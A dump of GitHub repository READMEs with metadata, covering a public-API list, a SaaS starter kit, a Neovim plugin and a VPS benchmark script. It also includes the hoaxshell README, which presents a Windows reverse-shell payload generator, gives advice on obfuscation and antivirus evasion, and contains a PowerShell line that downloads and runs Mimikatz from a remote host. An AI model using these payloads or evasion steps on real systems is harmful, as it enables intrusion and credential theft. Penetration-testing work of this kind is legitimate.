\| Yes \| \| [Hong Kong Obervatory](https://www.hko.gov.hk/en/abouthko/opendata_intro.htm) \| Provide weather information, earthquake information, and climate data \| No \| Yes \| Unknown \| \| [Korea Meteorological Administration](https://apihub.kma.go.kr/) \| Weather and climate data from KMA \| `apiKey` \| Yes \| Unknown \| \| [Meteorologisk Institutt](https://api.met.no/weatherapi/documentation) \| Weather and climate data \| `User-Agent` \| Yes \| Unknown \| \| [Meteosource](https://www.meteosource.com/) \| Global weather forecasts based on machine learning and historical data \| `apiKey` \| Yes \| Unknown \| \| [Met Office DataPoint](https://www.metoffice.gov.uk/services/data/datapoint/) \| Weather data for the UK \| `apiKey` \| Yes \| Unknown \| \| [ODWeather](http://api.oceandrivers.com/static/docs.html) \| Weather and weather webcams \| No \| No \| Unknown \| \| [Oikolab](https://docs.oikolab.com) \| 70+ years of global, hourly historical and forecast weather data from NOAA and ECMWF \| `apiKey` \| Yes \| Yes \| \| [Open-Meteo](https://open-meteo.com/) \| Global weather forecast API for non-commercial use \| No \| Yes \| Yes \| \| [openSenseMap](https://api.opensensemap.org/) \| Data from Personal Weather Stations called senseBoxes \| No \| Yes \| Yes \| \| [OpenUV](https://www.openuv.io) \| Real-time UV Index Forecast \| `apiKey` \| Yes \| Unknown \| \| [OpenWeatherMap](https://openweathermap.org/api) \| Weather \| `apiKey` \| Yes \| Unknown \| \| [QWeather](https://dev.qweather.com/en/) \| Location-based weather data \| `apiKey` \| Yes \| Yes \| \| [RainViewer](https://www.rainviewer.com/api.html) \| Radar data collected from different websites across the Internet \| No \| Yes \| Unknown \| \| [Storm Glass](https://stormglass.io/) \| Global marine weather from multiple sources \| `apiKey` \| Yes \| Yes \| \| [Tomorrow](https://docs.tomorrow.io) \| Weather API Powered by Proprietary Technology \| `apiKey` \| Yes \| Unknown \| \| [US Weather](https://www.weather.gov/documentation/services-web-api) \| US National Weather Service \| No \| Yes \| Yes \| \| [Visual Crossing](https://www.visualcrossing.com/weather-api) \| Global historical and weather forecast data \| `apiKey` \| Yes \| Yes \| \| [weather-api](https://github.com/robertoduessmann/weather-api) \| A RESTful free API to check the weather \| No \| Yes \| No \| \| [WeatherAPI](https://www.weatherapi.com/) \| Weather API with other stuff like Astronomy and Geolocation API \| `apiKey` \| Yes \| Yes \| \| [Weatherbit](https://www.weatherbit.io/api) \| Weather \| `apiKey` \| Yes \| Unknown \| \| [Yandex.Weather](https://yandex.com/dev/weather/) \| Assesses weather condition in specific locations \| `apiKey` \| Yes \| No \| [⬆ Back to Index](#index)	A collaborative list of public APIs for developers	apis,lists,open-source,public-api,public-apis,resources,awesome,awesome-list,hacktoberfest	0	1,343	237	5,026	9	1	4
boxyhq/saas-starter-kit	<picture> <source media="(prefers-color-scheme: dark)" srcset="https://github.com/boxyhq/jackson/assets/66887028/871d9c0f-d351-49bb-9458-2542830d7910"> <source media="(prefers-color-scheme: light)" srcset="https://github.com/boxyhq/jackson/assets/66887028/4073c181-0653-4d5b-b74f-e7e84fe79da8"> <img alt="BoxyHQ Banner" src="https://github.com/boxyhq/jackson/assets/66887028/b40520b7-dbce-400b-88d3-400d1c215ea1"> </picture> # ⭐ Enterprise SaaS Starter Kit <p> <a href="https://github.com/boxyhq/saas-starter-kit/stargazers"><img src="https://img.shields.io/github/stars/boxyhq/saas-starter-kit" alt="Github stargazers"></a> <a href="https://github.com/boxyhq/saas-starter-kit/issues"><img src="https://img.shields.io/github/issues/boxyhq/saas-starter-kit" alt="Github issues"></a> <a href="https://github.com/boxyhq/saas-starter-kit/blob/main/LICENSE"><img src="https://img.shields.io/github/license/boxyhq/saas-starter-kit" alt="license"></a> <a href="https://twitter.com/BoxyHQ"><img src="https://img.shields.io/twitter/follow/BoxyHQ?style=social" alt="Twitter"></a> <a href="https://www.linkedin.com/company/boxyhq"><img src="https://img.shields.io/badge/LinkedIn-blue" alt="LinkedIn"></a> <a href="https://discord.gg/uyb7pYt4Pa"><img src="https://img.shields.io/discord/877585485235630130" alt="Discord"></a> </p> The Open Source Next.js SaaS boilerplate for Enterprise SaaS app development. Please star ⭐ the repo if you want us to continue developing and improving the SaaS Starter Kit! 😀 ## 📖 Additional Resources Video - [BoxyHQ's SaaS Starter Kit: Your Ultimate Enterprise-Compliant Boilerplate](https://www.youtube.com/watch?v=oF8QIwQIhyo) <br> Blog - [Enterprise-ready Saas Starter Kit](https://boxyhq.com/blog/enterprise-ready-saas-starter-kit) Next.js-based SaaS starter kit saves you months of development by starting you off with all the features that are the same in every product, so you can focus on what makes your app unique. ## 🛠️ Built With - [Next.js](https://nextjs.org) This is a React framework that provides features such as server-side rendering and static site generation. It's used for building the user interface of your application. The main configuration for Next.js can be found in next.config.js. - [Tailwind CSS](https://tailwindcss.com) This is a utility-first CSS framework for rapidly building custom user interfaces. It's used for styling the application. The configuration for Tailwind CSS can be found in postcss.config.js. - [Postgres](https://www.postgresql.org) This is a powerful, open source object-relational database system. It's used for storing application data. The connection to Postgres is likely managed through Prisma. - [React](https://reactjs.org) This is a JavaScript library for building user interfaces. It's used for creating the interactive elements of your application. The React components are located in the components directory. - [Prisma](https://www.prisma.io) This is an open-source database toolkit. It's used for object-relational mapping, which simplifies the process of writing database queries. Prisma configuration and schema can be found in the prisma directory. - [TypeScript](https://www.typescriptlang.org) This is a typed superset of JavaScript that compiles to plain JavaScript. It's used to make the code more robust and maintainable. TypeScript definitions and configurations can be found in files like next-env.d.ts and i18next.d.ts. - [SAML Jackson](https://github.com/boxyhq/jackson) (Provides SAML SSO, Directory Sync) This is a service for handling SAML SSO (Single Sign-On). It's used to allow users to sign in with a single ID and password to any of several related systems i.e (using a single set of credentials). The implementation of SAML Jackson is primarily located within the files associated with authentication. - [Svix](https://www.svix.com/) (Provides Webhook Orchestration) This is a service for handling webhooks. It's used to emit events on user/team CRUD operations, which can then be caught and handled by other parts of the application or external services. The integration of Svix is distributed throughout the codebase, primarily in areas where Create, Read, Update, and Delete (CRUD) operations are executed. - [Retraced](https://github.com/retracedhq/retraced) (Provides Audit Logs Service) This is a service for audit logging and data visibility. It helps track user activities within the application i.e (who did what and when in the application). The usage of Retraced would be dispersed throughout the codebase, likely in the files where important actions are performed. - [Stripe](https://stripe.com) (Provides Payments) This is a service for handling payments. It's used to process payments for the application. The integration of Stripe is likely found in the files associated with billing and subscriptions. - [Playwright](https://playwright.dev) (Provides E2E tests) This is a Node.js library for automating browsers. It's used to run end-to-end tests on the application. The Playwright configuration and tests can be found in the tests directory. - [Docker](https://www.docker.com) (Provides Docker Compose) This is a platform for developing, shipping, and running applications. It's used to containerize the application and its dependencies. The Docker configuration can be found in the Dockerfile and docker-compose.yml. - [NextAuth.js](https://next-auth.js.org) (Provides Authentication) This is a complete open-source authentication solution for Next.js applications. It's used to handle user authentication and authorization. The NextAuth.js configuration and providers can be found in the pages/api/auth/[...nextauth].ts file. ## 🚀 Deployment <a href="https://vercel.com/new/clone?repository-url=https%3A%2F%2Fgithub.com%2Fboxyhq%2Fsaas-starter-kit&env=NEXTAUTH_SECRET,SMTP_HOST,SMTP_PORT,SMTP_USER,SMTP_PASSWORD,SMTP_FROM,DATABASE_URL,APP_URL"> <img width="90" alt="Deploy with Vercel" src="https://vercel.com/button" /> </a> <a href="https://heroku.com/deploy" alt="Deploy to Heroku"> <img alt="Deploy to Heroku" src="https://www.herokucdn.com/deploy/button.svg" /> </a> <a href="https://cloud.digitalocean.com/apps/new?repo=https://github.com/boxyhq/saas-starter-kit/tree/main" alt="Deploy to DO"> <img width="200" alt="Deploy to DO" src="https://www.deploytodo.com/do-btn-blue-ghost.svg" /> </a> ## ✨ Getting Started Please follow these simple steps to get a local copy up and running. ### Prerequisites - Node.js (Version: >=18.x) - PostgreSQL - NPM - Docker compose ### Development #### 1. Setup - [Fork](https://github.com/boxyhq/saas-starter-kit/fork) the repository - Clone the repository by using this command: ```bash git clone https://github.com/<your_github_username>/saas-starter-kit.git ``` #### 2. Go to the project folder ```bash cd saas-starter-kit ``` #### 3. Install dependencies ```bash npm install ``` #### 4. Set up your .env file Duplicate `.env.example` to `.env`. ```bash cp .env.example .env ``` #### 5. Create a database (Optional) To make the process of installing dependencies easier, we offer a `docker-compose.yml` with a Postgres container. ```bash docker-compose up -d ``` #### 6. Set up database schema ```bash npx prisma db push ``` #### 7. Start the server In a development environment: ```bash npm run dev ``` #### 8. Start the Prisma Studio Prisma Studio is a visual editor for the data in your database. ```bash npx prisma studio ``` #### 9. Testing We are using [Playwright](https://playwright.dev/) to execute E2E tests. Add all tests inside the `/tests` folder. Update `playwright.config.ts` to change the playwright configuration. ##### Install Playwright dependencies ```bash npm run playwright:update ``` ##### Run E2E tests ```bash npm run test:e2e ``` _Note: HTML test report is generated inside the `report` folder. Currently supported browsers for test execution `chromium` and `firefox`_ #### Fully customizable boilerplate out of the box, see images below 👇👇👇 ![saas-starter-kit-poster](/public/saas-starter-kit-poster.png) ## 🥇 Features - Create account - Sign in with Email and Password - Sign in with Magic Link - Sign in with SAML SSO - Sign in with Google [[Setting up Google OAuth](https://support.google.com/cloud/answer/6158849?hl=en)] - Sign in with GitHub [[Creating a Github OAuth App](https://docs.github.com/en/developers/apps/building-oauth-apps/creating-an-oauth-app)] - Directory Sync (SCIM) - Update account - Create team - Delete team - Invite users to the team - Manage team members - Update team settings - Webhooks & Events - Internationalization - Audit logs - Roles and Permissions - Dark mode - Email notifications - E2E tests - Docker compose - Prisma Studio - Update member role - Directory Sync Events - Avatar Upload - SAML SSO - Audit Log - Webhook - Payments - Security Headers ## ➡️ Coming Soon - Billing & subscriptions - Unit and integration tests ## ✨ Contributing Thanks for taking the time to contribute! Contributions make the open-source community a fantastic place to learn, inspire, and create. Any contributions you make are greatly appreciated. Please try to create bug reports that are: - _Reproducible._ Include steps to reproduce the problem. - _Specific._ Include as much detail as possible: which version, what environment, etc. - _Unique._ Do not duplicate existing opened issues. - _Scoped to a Single Bug._ One bug per report. [Contributing Guide](https://github.com/boxyhq/saas-starter-kit/blob/main/CONTRIBUTING.md) ## 🤩 Community - [Discord](https://discord.gg/uyb7pYt4Pa) (For live discussion with the Open-Source Community and BoxyHQ team) - [Twitter](https://twitter.com/BoxyHQ) / [LinkedIn](https://www.linkedin.com/company/boxyhq) (Follow us) - [Youtube](https://www.youtube.com/@boxyhq) (Watch community events and tutorials) - [GitHub Issues](https://github.com/boxyhq/saas-starter-kit/issues) (Contributions, report issues, and product ideas) ## 🌍 Contributors <a href="https://github.com/boxyhq/saas-starter-kit/graphs/contributors"> <img src="https://contrib.rocks/image?repo=boxyhq/saas-starter-kit" /> </a> Made with [contrib.rocks](https://contrib.rocks). ## 🛡️ License [Apache 2.0 License](https://github.com/boxyhq/saas-starter-kit/blob/main/LICENSE)	🔥 Enterprise SaaS Starter Kit - Kickstart your enterprise app development with the Next.js SaaS boilerplate 🚀	nextjs,saas-boilerplate,saas-kit,saas,boilerplate,js-boilerplate,starter-template,react,starter-kit,tailwindcss	15	40	1,376	1,533	11	5	1
t3l3machus/hoaxshell	# hoaxshell [![Python](https://img.shields.io/badge/Python-%E2%89%A5%203.6-yellow.svg)](https://www.python.org/) <img src="https://img.shields.io/badge/PowerShell-%E2%89%A5%20v3.0-blue"> <img src="https://img.shields.io/badge/Developed%20on-kali%20linux-blueviolet"> [![License](https://img.shields.io/badge/License-BSD-red.svg)](https://github.com/t3l3machus/hoaxshell/blob/main/LICENSE.md) <img src="https://img.shields.io/badge/Maintained%3F-Yes-96c40f"> #### ⚡ The latest version of this project is the [HoaxShell standalone listener](https://github.com/t3l3machus/hoaxshell/tree/main/revshells) which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com (make sure to choose hoaxshell as the listener). :warning: As of 2022-10-18, hoaxshell is detected by AMSI ([malware-encyclopedia](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=VirTool%3aPowerShell%2fXoashell.A&threatid=2147833654)). You need to obfuscate the generated payload in order to use. Check out this video on how to obfuscate manually and bypass MS Defender: - Example with Hoaxshell -> [youtube.com/watch?v=iElVfagdCD4](https://www.youtube.com/watch?v=iElVfagdCD4) - Example with common powershell revshell templates -> [youtube.com/watch?v=3HddKylkRzM](https://www.youtube.com/watch?v=3HddKylkRzM) ## Purpose hoaxshell is a Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell, based on the following concept: ![image](https://user-images.githubusercontent.com/75489922/197529603-1c9238ea-af14-41f7-8834-dd37ad77e809.png) This c2 concept (which could be implemented by using protocols other than http or pre-installed exes) can be used to establish sessions that promote the illusion of having a shell, but are far from an actual pty. HoaxShell did well against AV software (check [AV bypass PoCs table](#AV-Bypass-PoCs) for more info). Although it is now generally detected, it is easy to obfuscate the generated payload(s) using automated tools or manually. Disclaimer: Purely made for testing and educational purposes. DO NOT run the payloads generated by this tool against hosts that you do not have explicit permission and authorization to test. You are responsible for any trouble you may cause by using this tool. ### Video Presentations [2022-10-11] Recent & awesome, made by [John Hammond](https://twitter.com/_johnhammond) -> [youtube.com/watch?v=fgSARG82TJY](https://www.youtube.com/watch?v=fgSARG82TJY) [2022-07-15] Original release demo, made by me -> [youtube.com/watch?v=SEufgD5UxdU](https://www.youtube.com/watch?v=SEufgD5UxdU) ## Screenshots ![image](https://user-images.githubusercontent.com/75489922/196024757-fcb13b73-153c-426f-a87c-bf35fd3e784d.png) Find more screenshots [here](screenshots/). ## Installation ``` git clone https://github.com/t3l3machus/hoaxshell cd ./hoaxshell sudo pip3 install -r requirements.txt chmod +x hoaxshell.py ``` ## Usage Important: As a means of avoiding detection, hoaxshell is automatically generating random values for the session id, URL paths and name of a custom http header utilized in the process, every time the script is started. The generated payload will work only for the instance it was generated for. Use the `-g` option to bypass this behaviour and re-establish an active session or reuse a past generated payload with a new instance of hoaxshell. ### Basic shell session over http When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the "rawpayload" prompt command or start hoaxshell with the `-r` argument. After the payload has been executed on the victim, you'll be able to run PowerShell commands against it. #### Payload that utilizes `Invoke-Expression` (default) ``` sudo python3 hoaxshell.py -s <your_ip> ``` #### Payload that writes and executes commands from a file Use `-x` to provide a .ps1 file name (absolute path) to be created on the victim machine. You should check the raw payload before executing, make sure the path you provided is solid. ``` sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1" ``` ### Recommended usage to avoid detection (over http) Hoaxshell utilizes an http header to transfer shell session info. By default, the header is given a random name which can be detected by regex-based AV rules. Use -H to provide a standard or custom http header name to avoid detection. ``` sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1" ``` ### Encrypted shell session (https + self-signed certificate) This particular payload is kind of a red flag, as it begins with an additional block of code that instructs PowerShell to skip SSL certificate checks, which makes it suspicious and easy to detect as well as significantly longer in length. Not recommended. ``` # Generate self-signed certificate: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 # Pass the cert.pem and key.pem as arguments: sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem> ``` ### Encrypted shell session with a trusted certificate If you own a domain, use this option to generate a shorter and less detectable https payload by providing your DN with -s along with a trusted certificate (-c cert.pem -k privkey.pem). ``` sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem> ``` ### Grab session mode In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine. ``` sudo python3 hoaxshell.py -s <your_ip> -g ``` Important: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc). ### Constraint language mode support Use any of the payload variations with the `-cm` (--constraint-mode) option to generate a payload that works even if the victim is configured to run PS in Constraint Language mode. By using this option, you sacrifice a bit of your reverse shell's stdout decoding accuracy. ``` sudo python3 hoaxshell.py -s <your_ip> -cm ``` ![image](https://user-images.githubusercontent.com/75489922/195785804-7fa3da9b-a10f-4c72-895a-0648271e7ec6.png) ### Shell session over https using tunneling tools ([Ngrok](https://ngrok.com) / [LocalTunnel](https://localtunnel.me)) Utilize tunnelling programmes Ngrok or LocalTunnel to get sessions through secure tunnels, overcominge issues like not having a Static IP address or your ISP forbidding Port-Forwarding. Use `-ng` or `--ngrok` for Ngrok server ``` sudo python3 hoaxshell.py -ng ``` Use `-lt` or `--localtunnel` for LocalTunnel server ``` sudo python3 hoaxshell.py -lt ``` ## Limitations The shell is going to hang if you execute a command that initiates an interactive session. Example: ``` # this command will execute succesfully and you will have no problem: > powershell echo 'This is a test' # But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang: > powershell # In the same manner, you won't have a problem executing this: > cmd /c dir /a # But this will cause your hoaxshell to hang: > cmd.exe ``` So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands: ``` hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"' ``` Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context. ## AV Bypass PoCs Some awesome people were kind enough to send me/publish PoC videos of executing hoaxshell's payloads against systems running AV solutions other than MS Defender, without being detected. Below is a reference table with links: Important: I don't know if you can still use hoaxshell effectively to bypass these solutions. It's only reasonable to assume the detectability will change soon (if not already). \| AV Solution \| Date \| PoC \| \|---\|---\|---\| \| SentinelOne \| 2022-10-18 \| https://twitter.com/i/status/1582137400880336896 \| \| Norton \| 2022-10-17 \| https://twitter.com/i/status/1582278579244929024 \| \| Bitdefender \| 2022-10-15 \| https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop \| \| McAfee \| 2022-10-15 \| https://twitter.com/i/status/1581605531365814273 \| \| Kaspersky \| 2022-10-13 \| https://www.youtube.com/watch?v=IyMH_eCC4Rk \| \| Sophos \| 2022-09-08 \| https://www.youtube.com/watch?v=NYR0rWx4x8k \| ## News - `13/10/2022` - Added constraint language mode support (-cm) option. - `08/10/2022` - Added the `-ng` and `-lt` options that generate PS payloads for obtaining sessions using tunnelling tools ngrok or localtunnel in order to get around limitations like Static IP addresses and Port-Forwarding. - `06/09/2022` - A new payload was added that writes the commands to be executed in a file instead of utilizing `Invoke-Expression`. To use this, the user must provide a .ps1 file name (absolute path) on the victim machine using the `-x` option. - `04/09/2022` - Modifications were made to improve the command delivery mechanism as it included components that could be easily flagged. The `-t` option along with the `https_payload_trusted.ps1` were added. You can now use hoaxshell by supplying a domain name along with a trusted certificate. This will generate a shorter and less detectable https payload. - `01/09/2022` - Added the `-H` option which allows users to give a custom name to the (random by default) header utilized in the attack process, carring the shell's session id. This makes the attack less detectable e.g. by using a standard header name e.g. "Authorization". - `31/08/2022` - Added the `-i` option that generates the PS payload adjusted to use "Invoke-RestMethod' instead of 'Invoke-WebRequest' utility, so now the user can choose (thanks to this [issue](https://github.com/t3l3machus/hoaxshell/issues/8)). I also fixed a bug that existed in the prompt (it sometimes messed the path).	A Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.	hacking,penetration-testing,pentesting-tools,powershell,red-teaming,reverse-shell,python3,open-source	0	3	19	142	8	2	0
CleverProgrammers/JavaScript-Course-by-Clever-Programmer-	null	This is a full JavaScript course by Clever Programmer	null	0	2	6	4	3	1	0
kylechui/nvim-surround	# nvim-surround Surround selections, stylishly :sunglasses: <div align="center"> <video src="https://user-images.githubusercontent.com/48545987/178679494-c7d58bdd-d8ca-4802-a01c-a9444b8b882f.mp4" type="video/mp4"></video> </div> ## :sparkles: Features - Add/delete/change surrounding pairs - Function calls and HTML tags out-of-the-box - Dot-repeat previous actions - Set buffer-local mappings and surrounds - Jump to the _nearest_ surrounding pair for modification - Use a single character as an alias for several text-objects - E.g. `q` is aliased to <code>\`,',"</code>, so <code>csqb</code> replaces the _nearest_ set of quotes with parentheses - Surround using powerful pairs that depend on user input - Modify custom surrounds - First-class support for Vim motions, Lua patterns, and Tree-sitter nodes - Highlight selections for visual feedback ## :lock: Requirements - [Neovim 0.8+](https://github.com/neovim/neovim/releases) - \[Recommended] If [nvim-treesitter](https://github.com/nvim-treesitter/nvim-treesitter) is installed, then Tree-sitter nodes may be surrounded and modified, in addition to just Vim motions and Lua patterns - \[Recommended] If [nvim-treesitter-textobjects](https://github.com/nvim-treesitter/nvim-treesitter-textobjects) is installed, then Tree-sitter text-objects can be used to define surrounds, simplifying configuration ## :package: Installation Install this plugin using your favorite plugin manager, and then call `require("nvim-surround").setup()`. ### [lazy.nvim](https://github.com/folke/lazy.nvim) ```lua { "kylechui/nvim-surround", version = "", -- Use for stability; omit to use `main` branch for the latest features event = "VeryLazy", config = function() require("nvim-surround").setup({ -- Configuration here, or leave empty to use defaults }) end } ``` ### [packer.nvim](https://github.com/wbthomason/packer.nvim) ```lua use({ "kylechui/nvim-surround", tag = "", -- Use for stability; omit to use `main` branch for the latest features config = function() require("nvim-surround").setup({ -- Configuration here, or leave empty to use defaults }) end }) ``` ## :rocket: Usage The three "core" operations of `add`/`delete`/`change` can be done with the keymaps `ys{motion}{char}`, `ds{char}`, and `cs{target}{replacement}`, respectively. For the following examples, `` will denote the cursor position: ```help Old text Command New text -------------------------------------------------------------------------------- surround_words ysiw) (surround_words) make strings ys$" "make strings" [delete around me!] ds] delete around me! remove <b>HTML tags</b> dst remove HTML tags 'change quotes' cs'" "change quotes" <b>or tag* types</b> csth1<CR> <h1>or tag types</h1> delete(functi*on calls) dsf function calls ``` Detailed information on how to use this plugin can be found in [`:h nvim-surround.usage`](https://github.com/kylechui/nvim-surround/blob/main/doc/nvim-surround.txt). ## :gear: Configuration The default configuration is found [here](https://github.com/kylechui/nvim-surround/blob/main/lua/nvim-surround/config.lua). Simply call `require("nvim-surround").setup` or `require("nvim-surround").buffer_setup` with the desired options. More information on how to configure this plugin can be found in [`:h nvim-surround.configuration`](https://github.com/kylechui/nvim-surround/blob/main/doc/nvim-surround.txt). ## Contributing See [the contributing file](https://github.com/kylechui/nvim-surround/blob/main/CONTRIBUTING.md). ## Shoutouts - [vim-surround](https://github.com/tpope/vim-surround) - [mini.surround](https://github.com/echasnovski/mini.surround) - [vim-sandwich](https://github.com/machakann/vim-sandwich) - Like this project? Give it a :star: to show your support!	Add/change/delete surrounding delimiter pairs with ease. Written with :heart: in Lua.	lua,neovim,nvim,surround,ucla-opensource,neovim-plugin	20	30	114	256	8	2	3
spiritLHLS/ecs	# ecs [![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2FspiritLHLS%2Fecs&count_bg=%2379C83D&title_bg=%23555555&icon=&icon_color=%23E7E7E7&title=hits&edge_flat=false)](https://hits.seeyoufarm.com) ## 语言 [中文文档](README.md) \| [English Docs](README_EN.md) ## 前言支持系统： Ubuntu 18+, Debian 8+, Centos 7+, Fedora 33+, Almalinux 8.5+, OracleLinux 8+, RockyLinux 8+, AstraLinux CE, Arch 半支持系统： FreeBSD(前提已执行```pkg install -y curl bash```)，Armbian <details> 部分问题： Armbian系统部分检测和测试暂不支持，部分会编码错误 FreeBSD系统的CPU测试目前是残废的，有些东西显示有问题 FreeBSD系统的sed命令类似alpine而不是debian，很多命令的sed需要修改，有大问题 </details> 支持架构：基本都支持，无论是本地服务器还是云端服务器支持地域：能连得上网都支持 PS: 考虑到多系统多架构的普遍测试的需求，本套脚本不再做新功能开发，仅作维护，各项测试逐步重构为Golang版本中([此处查询相关模块重构进度](https://github.com/topics/goecs))，预计年末完成整个项目重构。 # 目录 - [前言](#前言) - [目录](#目录) - [融合怪测评脚本](#融合怪测评脚本) - [部分服务器运行测试有各类bug一键修复后再测试](#部分服务器运行测试有各类bug一键修复后再测试) - [更新](#更新) - [融合怪命令](#融合怪命令) - [交互形式](#交互形式) - [无交互形式-参数模式](#无交互形式-参数模式) - [IP质量检测](#ip质量检测) - [融合怪说明](#融合怪说明) - [融合怪功能](#融合怪功能) - [友链](#友链) - [测评频道](#测评频道) - [https://t.me/vps\_reviews](#httpstmevps_reviews) - [自动更新测速服务器节点列表的网络基准测试脚本](#自动更新测速服务器节点列表的网络基准测试脚本) - [https://github.com/spiritLHLS/ecsspeed](#httpsgithubcomspiritlhlsecsspeed) - [脚本概况](#脚本概况) - [Stargazers over time](#stargazers-over-time) - [致谢](#致谢) <a id="top"></a> ------ <a id="artical_1"></a> # 融合怪测评脚本 ## 部分服务器运行测试有各类bug一键修复后再测试一键修复各种系统原生bug的仓库： https://github.com/spiritLHLS/one-click-installation-script 如若还有系统bug请到上面仓库的issues反馈，脚本原生BUG该仓库issues反馈 ## 更新 2024.06.24 - 优化常用流媒体检测不再显示IP信息，避免重复查询历史更新日志：[跳转](https://github.com/spiritLHLS/ecs/blob/main/CHANGELOG.md) [返回顶部](https://github.com/spiritLHLS/ecs#top) ## 融合怪命令 ### 交互形式 ```bash curl -L https://gitlab.com/spiritysdx/za/-/raw/main/ecs.sh -o ecs.sh && chmod +x ecs.sh && bash ecs.sh ``` 或 ```bash curl -L https://github.com/spiritLHLS/ecs/raw/main/ecs.sh -o ecs.sh && chmod +x ecs.sh && bash ecs.sh ``` 或 ``` bash <(wget -qO- bash.spiritlhl.net/ecs) ``` 或 ``` bash <(wget -qO- ecs.0s.hk) ``` 或 ``` bash <(wget -qO- ecs.12345.ing) ``` ### 无交互形式-参数模式 ```bash curl -L https://gitlab.com/spiritysdx/za/-/raw/main/ecs.sh -o ecs.sh && chmod +x ecs.sh && bash ecs.sh -m 1 ``` 或 ```bash curl -L https://github.com/spiritLHLS/ecs/raw/main/ecs.sh -o ecs.sh && chmod +x ecs.sh && bash ecs.sh -m 1 ``` 或通过 ``` curl -L https://gitlab.com/spiritysdx/za/-/raw/main/ecs.sh -o ecs.sh && chmod +x ecs.sh ``` 下载文件后使用类似 ```bash bash ecs.sh -m 1 ``` 这样的参数命令指定选项执行以下为参数说明： \| 指令 \| 项目 \| 说明 \| 备注 \| \| ---- \| ---- \| ----------- \| ---- \| \| -m \| 必填项 \| 可指定原本menu中的对应选项，最多支持三层选择，例如执行```bash ecs.sh -m 5 1 1```将选择主菜单第5选项下的第1选项下的子选项1的脚本执行 \| 可缺省仅指定一个参数，如```-m 1```仅指定执行融合怪完全体，执行```-m 1 0```以及```-m 1 0 0```都是指定执行融合怪完全体 \| \| -en \| 可选项 \| 可指定强制输出为英文 \| 无该指令则默认使用中文输出 \| \| -i \| 可选项 \| 可指定回程路由测试中的目标IPV4地址 \| 可通过```ip.sb```、```ipinfo.io```等网站获取本地IPV4地址后指定 \| \| -r \| 可选项 \| 可指定回程路由测试中的目标IPV4地址，可选```b``` ```g``` ```s``` ```c``` 分别对应```北京```、```广州```、```上海、```成都``` \| 如```-r b```指定测试北京回程(三网) \| \| \| \| 可指定仅测试IPV6三网，可选 ```b6``` ```g6``` ```s6``` 分别对应 ```北京```、```广州```、```上海``` 的三网的IPV6地址 \| 如```-r b6``` 指定测试北京IPV6地址回程(三网) \| \| -base \| 可选项 \| 可指定仅测试基础的系统信息 \| 无该指令则默认按照menu选项的组合测试 \| \| -ctype \| 可选项 \| 可指定通过何种方式测试cpu，可选```gb4```、```gb5```、```gb6```分别对应```geekbench```的```4```、```5```、```6```版本 \| 无该指令则默认使用```sysbench```测试 \| \| -dtype \| 可选项 \| 可指定测试硬盘IO的程序，可选```dd```、```fio```，前者测试快后者测试慢 \| 无该指令则默认都使用进行测试 \| \| -mdisk \| 可选项 \| 可指定测试多个挂载盘的IO \| 注意本指令包含测试系统盘 \| \| -stype \| 可选项 \| 可指定使用```.cn```还是```.net```的数据进行测速 \| 无该指令则默认使用```.net```数据测速优先，不可用时才替换为```.cn```数据 \| \| -bansp \| 可选项 \| 可指定强制不测试网速 \| 无该指令则默认测试网速 \| \| -banup \| 可选项 \| 可指定强制不生成分享链接 \| 无该指令则默认生成分享链接 \| ## IP质量检测 - IP质量检测，含多家数据库查询，含DNS黑名单查询 - 含 ```IPV4``` 和 ```IPV6``` 检测，含ASN和地址查询 ```bash bash <(wget -qO- bash.spiritlhl.net/ecs-ipcheck) ``` 或 ```bash bash <(wget -qO- --no-check-certificate https://raw.githubusercontent.com/spiritLHLS/ecs/main/ipcheck.sh) ``` 或需要事先安裝```dos2unix``` ```bash wget -qO ipcheck.sh --no-check-certificate https://gitlab.com/spiritysdx/za/-/raw/main/ipcheck.sh dos2unix ipcheck.sh bash ipcheck.sh ``` ## 融合怪说明融合怪脚本最好在 /root 路径下执行，避免各种奇奇怪怪的问题融合怪的执行结果保存在当前路径下的```test_result.txt```中，可在```screen```或```tmux```中执行，先退出SSH登录过一段时间后再查看文件有时候想要测一些配置极其拉跨的机器时，上面这样执行这样可以避免IO或者CPU过于垃圾导致的测试过程中的SSH连接中断，就不会测一半啥都没了，假如screen中显示乱码，也没问题，分享链接中的结果是不带乱码的融合怪的完整版和精简版运行完毕会自动上传结果到pastebin并回传分享链接，如果测一半想要退出，那么按```Ctrl+C```同时按下可终止测试，此时会自动退出删除残余文件最烂机器测试的例子(跑了47分钟一样测完)：[跳转](https://github.com/spiritLHLS/ecs/blob/main/lowpage/README.md) 使用CDN已支持国内和国外加速服务器环境安装和预制文件下载，但国内受CDN连通性或国内机器带宽大小的限制加载可能会慢很多融合怪测试说明以及部分测试结果的内容解释(初次使用推荐查看)： <details> 